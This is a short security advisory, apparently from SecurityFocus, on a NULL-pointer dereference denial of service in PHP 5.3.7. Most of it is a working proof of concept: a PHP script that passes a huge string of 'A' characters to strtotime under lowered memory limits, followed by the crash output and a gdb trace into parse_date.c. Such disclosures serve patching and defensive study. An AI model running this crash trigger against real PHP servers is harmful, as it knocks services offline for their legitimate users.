source: http://www.securityfocus.com/bid/49249/info

PHP is prone to multiple denial-of-service vulnerabilities caused by a NULL-pointer dereference.

An attacker can exploit these issues to cause an application written in PHP to crash, denying service to legitimate users.

PHP 5.3.7 is vulnerable; other versions may also be affected. 

127# ulimit -m 100000
127# ulimit -v 100000
127# cat /www/strtotime.php
<?php
$strx=str_repeat("A",$argv[1]);
var_dump(strtotime($strx));
?>127#
127#  /cxib/5371/build/bin/php /www/strtotime.php 33388888
Memory fault (core dumped)

127# gdb -q /cxib/5371/build/bin/php
(gdb) r /www/strtotime.php 33388888
Starting program: /cxib/5371/build/bin/php /www/strtotime.php 33388888

Program received signal SIGSEGV, Segmentation fault.
0x0806e8bd in add_error (s=0xbfbfcf90,
    error=0x83ea7d8 "Double timezone specification")
    at /cxib/5371/ext/date/lib/parse_date.c:355
355             s->errors->error_messages[s->errors->error_count -
1].position = s->tok ? s->tok - s->str : 0;
(gdb) print s->errors->error_messages
$1 = (struct timelib_error_message *) 0x0
(gdb) print s->errors->error_count
$2 = 1835009